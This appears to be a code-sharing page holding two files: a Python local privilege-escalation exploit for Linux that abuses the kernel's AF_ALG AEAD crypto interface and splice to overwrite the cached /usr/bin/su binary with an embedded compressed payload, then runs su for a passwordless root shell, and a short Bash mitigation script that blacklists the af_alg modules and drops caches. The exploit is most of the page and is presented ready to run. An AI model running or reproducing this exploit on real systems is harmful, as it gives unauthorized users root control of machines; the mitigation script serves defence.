exploit.py
· 3.1 KiB · Python
Raw
#!/usr/bin/env python3
import os
import zlib
import socket
# Helper to convert hex strings to byte arrays
def hex_to_bytes(hex_str):
return bytes.fromhex(hex_str)
def trigger_kernel_corruption(target_file, offset, payload_chunk):
# AF_ALG (38) is the Linux Kernel Crypto API socket domain
# SOCK_SEQPACKET (5) is the socket type
alg_socket = socket.socket(38, 5, 0)
# Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher
# This specific cipher combination is often used to target memory flaws in the kernel
alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# Socket option constants
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_AEAD_AUTHSIZE = 5
# 1. Set the crypto key (malformed to trigger heap issues)
key_data = hex_to_bytes('0800010000000010' + '0' * 64)
alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data)
# 2. Set the authentication tag size
alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
# Accept the connection to the crypto transform
op_socket, _ = alg_socket.accept()
# Construct the malicious control message (ancillary data)
# This targets the internal kernel buffers by providing inconsistent lengths
null_byte = hex_to_bytes('00')
msg_control = [
(SOL_ALG, 3, null_byte * 4), # ALG_SET_IV
(SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP
(SOL_ALG, 4, b'\x08' + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN
]
# Send the payload chunk to the kernel
op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768)
# Use os.splice to move data from the target binary (su) into the socket
# This bypasses standard user-space memory protections
pipe_read, pipe_write = os.pipe()
# Splice from file to pipe
os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0)
# Splice from pipe to the exploit socket
os.splice(pipe_read, op_socket.fileno(), offset + 4)
try:
# Attempt to receive the result of the "crypto" operation
op_socket.recv(8 + offset)
except Exception:
pass
# --- Main Execution ---
# Open /usr/bin/su in read-only mode
su_binary = os.open("/usr/bin/su", os.O_RDONLY)
# Decompress the binary payload (the shellcode/memory overwrite data)
compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload))
# Loop through the payload, spraying it into the kernel memory 4 bytes at a time
current_offset = 0
while current_offset < len(payload_bytes):
chunk = payload_bytes[current_offset : current_offset + 4]
trigger_kernel_corruption(su_binary, current_offset, chunk)
current_offset += 4
# If the exploit succeeded, the kernel has been tricked into thinking
# the current process has root privileges.
# Executing 'su' now should drop into a root shell without a password.
os.system("su")
| 1 | #!/usr/bin/env python3 |
| 2 | import os |
| 3 | import zlib |
| 4 | import socket |
| 5 | |
| 6 | # Helper to convert hex strings to byte arrays |
| 7 | def hex_to_bytes(hex_str): |
| 8 | return bytes.fromhex(hex_str) |
| 9 | |
| 10 | def trigger_kernel_corruption(target_file, offset, payload_chunk): |
| 11 | # AF_ALG (38) is the Linux Kernel Crypto API socket domain |
| 12 | # SOCK_SEQPACKET (5) is the socket type |
| 13 | alg_socket = socket.socket(38, 5, 0) |
| 14 | |
| 15 | # Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher |
| 16 | # This specific cipher combination is often used to target memory flaws in the kernel |
| 17 | alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) |
| 18 | |
| 19 | # Socket option constants |
| 20 | SOL_ALG = 279 |
| 21 | ALG_SET_KEY = 1 |
| 22 | ALG_SET_AEAD_AUTHSIZE = 5 |
| 23 | |
| 24 | # 1. Set the crypto key (malformed to trigger heap issues) |
| 25 | key_data = hex_to_bytes('0800010000000010' + '0' * 64) |
| 26 | alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data) |
| 27 | |
| 28 | # 2. Set the authentication tag size |
| 29 | alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) |
| 30 | |
| 31 | # Accept the connection to the crypto transform |
| 32 | op_socket, _ = alg_socket.accept() |
| 33 | |
| 34 | # Construct the malicious control message (ancillary data) |
| 35 | # This targets the internal kernel buffers by providing inconsistent lengths |
| 36 | null_byte = hex_to_bytes('00') |
| 37 | msg_control = [ |
| 38 | (SOL_ALG, 3, null_byte * 4), # ALG_SET_IV |
| 39 | (SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP |
| 40 | (SOL_ALG, 4, b'\x08' + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN |
| 41 | ] |
| 42 | |
| 43 | # Send the payload chunk to the kernel |
| 44 | op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768) |
| 45 | |
| 46 | # Use os.splice to move data from the target binary (su) into the socket |
| 47 | # This bypasses standard user-space memory protections |
| 48 | pipe_read, pipe_write = os.pipe() |
| 49 | |
| 50 | # Splice from file to pipe |
| 51 | os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0) |
| 52 | # Splice from pipe to the exploit socket |
| 53 | os.splice(pipe_read, op_socket.fileno(), offset + 4) |
| 54 | |
| 55 | try: |
| 56 | # Attempt to receive the result of the "crypto" operation |
| 57 | op_socket.recv(8 + offset) |
| 58 | except Exception: |
| 59 | pass |
| 60 | |
| 61 | # --- Main Execution --- |
| 62 | |
| 63 | # Open /usr/bin/su in read-only mode |
| 64 | su_binary = os.open("/usr/bin/su", os.O_RDONLY) |
| 65 | |
| 66 | # Decompress the binary payload (the shellcode/memory overwrite data) |
| 67 | compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" |
| 68 | payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload)) |
| 69 | |
| 70 | # Loop through the payload, spraying it into the kernel memory 4 bytes at a time |
| 71 | current_offset = 0 |
| 72 | while current_offset < len(payload_bytes): |
| 73 | chunk = payload_bytes[current_offset : current_offset + 4] |
| 74 | trigger_kernel_corruption(su_binary, current_offset, chunk) |
| 75 | current_offset += 4 |
| 76 | |
| 77 | # If the exploit succeeded, the kernel has been tricked into thinking |
| 78 | # the current process has root privileges. |
| 79 | # Executing 'su' now should drop into a root shell without a password. |
| 80 | os.system("su") |
mitigation.sh
· 348 B · Bash
Raw
#!/usr/bin/env bash
# Prevent vulnerable module from ever being loaded
cat > /etc/modprobe.d/blacklist-af-alg.conf <<EOF
blacklist af_alg
blacklist algif_aead
EOF
# Remove the module if it's already loaded
modprobe -r algif_aead
modprobe -r af_alg
# Drop all caches to undo the effects of previous exploit runs
echo 1 > /proc/sys/vm/drop_caches
| 1 | #!/usr/bin/env bash |
| 2 | |
| 3 | # Prevent vulnerable module from ever being loaded |
| 4 | cat > /etc/modprobe.d/blacklist-af-alg.conf <<EOF |
| 5 | blacklist af_alg |
| 6 | blacklist algif_aead |
| 7 | EOF |
| 8 | |
| 9 | # Remove the module if it's already loaded |
| 10 | modprobe -r algif_aead |
| 11 | modprobe -r af_alg |
| 12 | |
| 13 | # Drop all caches to undo the effects of previous exploit runs |
| 14 | echo 1 > /proc/sys/vm/drop_caches |
| 15 |